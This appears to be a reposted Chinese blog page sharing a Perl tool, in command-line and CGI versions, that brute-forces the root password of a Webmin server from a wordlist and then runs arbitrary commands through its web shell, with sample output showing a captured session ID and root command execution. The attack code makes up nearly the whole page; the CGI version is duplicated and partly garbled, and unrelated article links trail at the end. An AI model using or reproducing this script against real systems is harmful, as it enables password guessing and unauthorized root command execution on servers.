Webmin 暴力破解+ 執行命令(轉)
Webmin 暴力破解+ 執行命令(轉)[@more@]Webmin是一個廣泛使用的,執行在linux/unix下,用瀏覽器來管理系統的工具。用它,你不必知道複雜的命令列,也不用瞭解各種複雜的配置檔案,系統管理變得非常簡單!可以設定帳號,配置DNS和檔案共享等. Webmin BruteForce + Command execution v1.5 #!/usr/bin/perl ################################################################################ # Webmin BruteForce + Command execution # v1.0:By Di42lo - "> # v1.5:By ZzagorR - - ################################################################################ #add script: #1.wordlist func. #2.log (line:41) ################################################################################ # usage: # ./webmin1.pl #./webmin1.pl 192.168.0.5 "uptime" wordlist.txt # [+] BruteForcing... # [+] trying to enter with: admim # [+] trying to enter with: admin # [+] Found SID : f3231ff32849fa0c8c98487ba8c09dbb # [+] Password : admin # [+] Connecting to host once again # [+] Connected.. Sending Buffer # [+] Buffer sent...running command uptime # root logged into Webmin 1.170 on linux (SuSE Linux 9.1) # 10:55pm up 23 days 9:03, 1 user, load average: 0.20, 0.05, 0.01 ################################################################################ use IO::Socket; if (@ARGV<3){ print "Webmin BruteForcer v1.5
"; print "usage:
"; print " webmin15.pl
"; print "example:
"; print " webmin15.pl "id" wordlist.txt
"; exit; } my $host=$ARGV[0]; my $cmd=$ARGV[1]; my $wlist=$ARGV[2]; open (data, "$wlist"); @wordlist=; close data; $passx=@wordlist; open(results , ">$host.log"); print results "#############################
"; print results "Webmin BruteForce + Command execution v1.5
"; print results "Host:$host
"; print results "#############################
"; my $chk=0; my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 10); if(!$sock){ print "[-] Webmin on this host does not exist
"; print results "[-] Webmin on this host does not exist
"; exit; }else{ $sock->close; print "[+] BruteForcing...
"; } my $sid; $n=0; while ($chk!=1) { $n++; if($n>$passx){ exit; } $pass=@wordlist[$passx-$n]; my $pass_line="page=%2F&user=root&pass=$pass"; my $buffer="POST /session_login.cgi HTTP/1.0
". "Host: $host:10000
". "Keep-Alive: 300
". "Connection: keep-alive
". "Referer:
". "Cookie: testing=1
". "Content-Type: application/x-www-form-urlencoded
". "Content-Length: __
". "
". $pass_line."
"; my $line_size=length($pass_line); $buffer=~s/__/$line_size/g; my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 10); if ($sock){ print "[+] trying to enter with: $pass
"; print $sock $buffer; while ($answer=){ if ($answer=~/sid=(.*);/g){ $chk=1; $sid=$1; print "[+] Found SID : $sid
"; print "[+] Password : $pass
"; print results "[+]:Password:$pass
Sid:$sid
"; } } } $sock->close; print results "[-]$pass
"; } print "[+] Connecting to host once again
"; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 10); if(!$sock){ print "[-] Cant Connect once again for command execution
"; print results "[-] Cant Connect once again for command execution
"; } print "[+] Connected.. Sending Buffer
"; my $temp="-----------------------------19777347561180971495777867604
". "Content-Disposition: form-data; name="cmd"
". "
". "$cmd
". "-----------------------------19777347561180971495777867604
". "Content-Disposition: form-data; name="pwd"
". "
". "/root
". "-----------------------------19777347561180971495777867604
". "Content-Disposition: form-data; name="history"
". "
". "
". "-----------------------------19777347561180971495777867604
". "Content-Disposition: form-data; name="previous"
". "
". "$cmd
". "-----------------------------19777347561180971495777867604
". "Content-Disposition: form-data; name="pcmd"
". "
". "$cmd
". "-----------------------------19777347561180971495777867604--
"; my $buffer_size=length($temp); $buffer="POST /shell/index.cgi HTTP/1.1
". "Host: $host:10000
". "Keep-Alive: 300
". "Connection: keep-alive
". "Referer:
". "Cookie: sid=$sid; testing=1; x
". "Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604
". "Content-Length: siz
". "
". $temp; $buffer=~s/siz/$buffer_size/g; print $sock $buffer; if ($sock){ print "[+] Buffer sent...running command $cmd
"; print $sock $buffer; while ($answer=){ if ($answer=~/defaultStatus="(.*)";/g) { print $1."
";} if ($answer=~/
/g){
exit;
} else {
print $answer;
print results "[+]$answer
";
}
}
}
}
#!/usr/bin/perl
use CGI qw(:standard);
use IO::Socket;
$CGI::HEADERS_ONCE = 1;
$CGI = new CGI;
$atak = $CGI->param("atak");
$host = $CGI->param("host");
$wlist = $CGI->param("wlist");
$cmd = $CGI->param("cmd");
print $CGI->header(-type=>'text/html',-charset=>'windows-1254');
print qq~
Webmin Web Brute Force v1.5 - cgi versiyon
Webmin BruteForce + Command execution- cgi version
v1.0:By Di42lo - Ablo_2@012.net.il
v1.5:By ZzagorR - -
~; if($atak eq "webmin") { open (data, "$wlist"); @wordlist=; close data; $passx=@wordlist; $chk=0; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 25) || die "[-] Webmin on this host does not exist "; $sock->close; print "[+] BruteForcing...
"; $sid; $n=0; while ($chk!=1) { $n++; if($n>$passx){ exit; } $pass=@wordlist[$passx-$n]; $pass_line="page=%2F&user=root&pass=$pass"; $buffer="POST /session_login.cgi HTTP/1.0 ". "Host: $host:10000 ". "Keep-Alive: 300 ". "Connection: keep-alive ". "Referer: ". "Cookie: testing=1 ". "Content-Type: application/x-www-form-urlencoded ". "Content-Length: __ ". " ". $pass_line." "; $line_size=length($pass_line); $buffer=~s/__/$line_size/g; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 25); if ($sock){ print "[+] Denenen sifre: $pass
"; print $sock $buffer; while ($answer=){ if ($answer=~/sid=(.*);/g){ $chk=1; $sid=$1; print "[+] Found SID : $sid
"; print "[+] Sifre : $pass
"; } } } $sock->close; } print "[+] Connecting to host once again
"; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 10) || die "[-] Cant Connect once again for command execution "; print "[+] Connected.. Sending Buffer
"; $temp="-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="cmd" ". " ". "$cmd ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="pwd" ". " ". "/root ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="history" ". " ". " ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="previous" ". " ". "$cmd ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="pcmd" ". " ". "$cmd ". "-----------------------------19777347561180971495777867604-- "; $buffer_size=length($temp); $buffer="POST /shell/index.cgi HTTP/1.1 ". "Host: $host:10000 ". "Keep-Alive: 300 ". "Connection: keep-alive ". "Referer: ". "Cookie: sid=$sid; testing=1; x ". "Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604 ". "Content-Length: siz ". " ". $temp; $buffer=~s/siz/$buffer_size/g; print $sock $buffer; if ($sock){ print "[+] Buffer sent...running command $cmd
"; print $sock $buffer; while ($answer=){ if ($answer=~/defaultStatus="(.*)";/g) { print $1."
";} if ($answer=~/ /g){
exit;
} else {
print $answer;
}
}
}
}
}
if($atak eq ""){
print qq~
>/g){ $cmd_chk=1; } if ($cmd_chk==1) { if ($answer=~/
Webmin BruteForce + Command execution- cgi version
v1.0:By Di42lo - Ablo_2@012.net.il
v1.5:By ZzagorR - -
~; if($atak eq "webmin") { open (data, "$wlist"); @wordlist=; close data; $passx=@wordlist; $chk=0; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 25) || die "[-] Webmin on this host does not exist "; $sock->close; print "[+] BruteForcing...
"; $sid; $n=0; while ($chk!=1) { $n++; if($n>$passx){ exit; } $pass=@wordlist[$passx-$n]; $pass_line="page=%2F&user=root&pass=$pass"; $buffer="POST /session_login.cgi HTTP/1.0 ". "Host: $host:10000 ". "Keep-Alive: 300 ". "Connection: keep-alive ". "Referer: ". "Cookie: testing=1 ". "Content-Type: application/x-www-form-urlencoded ". "Content-Length: __ ". " ". $pass_line." "; $line_size=length($pass_line); $buffer=~s/__/$line_size/g; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 25); if ($sock){ print "[+] Denenen sifre: $pass
"; print $sock $buffer; while ($answer=){ if ($answer=~/sid=(.*);/g){ $chk=1; $sid=$1; print "[+] Found SID : $sid
"; print "[+] Sifre : $pass
"; } } } $sock->close; } print "[+] Connecting to host once again
"; $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000",Timeout => 10) || die "[-] Cant Connect once again for command execution "; print "[+] Connected.. Sending Buffer
"; $temp="-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="cmd" ". " ". "$cmd ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="pwd" ". " ". "/root ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="history" ". " ". " ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="previous" ". " ". "$cmd ". "-----------------------------19777347561180971495777867604 ". "Content-Disposition: form-data; name="pcmd" ". " ". "$cmd ". "-----------------------------19777347561180971495777867604-- "; $buffer_size=length($temp); $buffer="POST /shell/index.cgi HTTP/1.1 ". "Host: $host:10000 ". "Keep-Alive: 300 ". "Connection: keep-alive ". "Referer: ". "Cookie: sid=$sid; testing=1; x ". "Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604 ". "Content-Length: siz ". " ". $temp; $buffer=~s/siz/$buffer_size/g; print $sock $buffer; if ($sock){ print "[+] Buffer sent...running command $cmd
"; print $sock $buffer; while ($answer=){ if ($answer=~/defaultStatus="(.*)";/g) { print $1."
";} if ($answer=~/
>/g){ $cmd_chk=1; } if ($cmd_chk==1) { if ($answer=~/
相關文章
- oracle中執行os命令(轉)Oracle
- WINDOWS XP 執行命令(轉載)Windows
- 開始→執行→命令集錦(轉)
- 命令執行漏洞
- Docker執行命令Docker
- 在Linux環境下執行DOS命令(轉)Linux
- telnet中執行命令去掉ntlm認證(轉)
- TortoiseSVN 命令 (命令列執行工具)命令列
- Docker命令-docker exec-在執行的容器中執行命令Docker
- Webmin 安裝和使用Web
- Java執行cmd命令Java
- 遠端執行命令
- 命令列執行Nunit命令列
- .net執行cmd命令
- 如何執行maven和執行maven的命令。Maven
- 【Java】【轉】在命令列中編譯和執行javaJava命令列編譯
- 縱橫於Windows執行命令的七種武器(轉)Windows
- 開始→執行→輸入的命令集錦(轉)
- 在PHP中以root身份執行外部命令(轉)PHP
- 針對執行 Webmin 的 Linux 伺服器出現了新的 Roboto 殭屍網路WebLinux伺服器
- 【轉】批處理命令請求以管理員身份執行
- PHP新用法,PHP執行系統外部命令篇(轉)PHP
- 【機器學習】使用Octave執行命令機器學習
- 監控 redis 執行命令Redis
- PHP命令執行集錦PHP
- 跟蹤執行命令T
- ./mongod命令執行報錯Go
- Java執行shell、cmd命令Java
- shell 下執行mysql 命令MySql
- 執行srvctl命令報錯
- oracle中執行os命令Oracle
- TestComplete命令列執行命令列
- 開始-執行-命令大全
- 收集 Linux 命令列執行的命令Linux命令列
- 【Mongo】shell命令列模式執行mongo命令Go命令列模式
- DNS暴力破解工具Fierce常用命令DNS
- Golang 使用執行命令帶管道符執行的方法Golang
- 用 PHP 來執行執行網路相關命令PHP